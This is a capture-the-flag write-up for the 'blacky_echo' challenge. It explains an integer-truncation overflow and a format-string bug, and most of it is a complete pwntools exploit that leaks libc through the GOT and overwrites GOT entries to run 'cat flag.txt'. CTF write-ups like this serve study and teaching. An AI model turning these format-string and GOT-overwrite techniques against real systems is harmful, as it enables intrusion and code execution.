Rating: 5.0

### Program description
Mainly two bugs:
- Bad checking over size input in function go leads to buffer overflow

```c
int __n = get_int();
if ( ((ushort)__n == 0) || ((ushort)__n > 0x3f) ) {
memcpy(auStack56,"Length err",10);
print_error(auStack56);
}
// it only checks the lower two bytes of __n but uses 4 bytes in the end
fgets(acStack65592,__n,stdin);
```

- Using memcpy to write "Format err" on the buffer does not
add a terminating "\x00", so we can use the original string
to put some %s and %n to read and write.

```c
// in function go()
if ( strncmp(acStack65592,"ECHO->", 6) ) {
memcpy(auStack56,"Format err",10);
print_error(auStack56);
}
// in function print_error(param_1)
snprintf(local_98,0x32,"[!] Error: %s",param_1); // copies also the overflowed user controllable content
fprintf(stderr,local_98);
```

### Exploit

- In the first input we leak the `exe.sym.got['system']` address
and then we override the `[email protected] entry` with the address of `main`
to have further input at our disposal.

- Then we overwrite `[email protected] entry` with the system address we wrote
earlier.

- In the end we properly use the echo program to echo "cat flag.txt".

```python
from pwn import ELF, context, args, gdb, remote, process, log, \
p64, u64, cyclic, ui

exe = context.binary = ELF("blacky_echo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
remotehost = ("challs.m0lecon.it", 9011)
gdbscript = """
# break *go + 0x135
# break *go + 0x109
# break *go + 0x11e
break *print_error + 0x7d
# gef config context.nb_lines_stack 8250
gef config context.nb_lines_stack 40
continue
"""

def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug(exe=exe.path, args=[exe.path] + argv,
gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(*remotehost, *a, **kw)
elif args.GDBSCRIPT:
print(gdbscript)
exit(0)
else:
return process([exe.path] + argv, *a, **kw)

def leak_system_address():
io.recvuntil("Size:")
size = 2**17 + 10
io.sendline(f"{size}")
io.recvuntil("Input:")
log.info(f"{exe.sym.got['system']:#08x}")
# 21
io.sendline(
p64(exe.sym.got['system']) +
p64(exe.sym.got['exit']) +
cyclic(0x10000 + 10 - 16) +
b"a"*6 + b"%31$s" + f"%{0xb54 - 33}c".encode() + b"%32$hn")
io.recvuntil(b"Format erraaaaaa")
ans = io.recvline().strip()
cusu = ans.ljust(8, b"\x00")[:8]
libc_addr = u64(cusu) & 0x0000ffffffffffff
log.info(f"address: {libc_addr:#08x}")
libc.address = libc_addr - libc.sym.system
log.info(f"libc: {libc.address:#08x}")
log.debug(f"Go check GOT: {exe.sym.got['exit']}")
return libc_addr

def chunks(lst, n):
"""Yield successive n-sized chunks from lst."""
for i in range(0, len(lst), n):
yield lst[i:i + n]

def write_byte(addr, val):
io.recvuntil("Size:")
size = 2**17 + 10
io.sendline(f"{size}")
io.recvuntil("Input:")
ui.pause()
io.sendline(
p64(addr) +
cyclic(0x10000 + 10 - 16 + 8) +
f"%{(0xff - 0x15 + 1)&0xff}c".encode() +
f"%{(val)}c".encode() +
b"%31$hhn"
)
log.info(io.recvline())

def altro_edit_puts_addr(system_addr):
for i, chunk in enumerate(chunks(f"{system_addr:012x}", 4)):
write_byte(exe.sym.got['puts'], int(chunk, 16))
io.recvuntil("Size:")
size = 2**17 + 10
io.sendline(f"{size}")
io.recvuntil("Input:")
io.sendline("ECHO->cat flag.txt")

if __name__ == "__main__":
io = start()
system_addr = leak_system_address()
altro_edit_puts_addr(system_addr)
io.interactive()
```

Original writeup (https://fibonhack.github.io/pwn/blacky-echo/).
NetkubbMay 25, 2020, 3:50 a.m.

How do you get first and second code?
I'm new to this and I have no clue where to start.
Thanks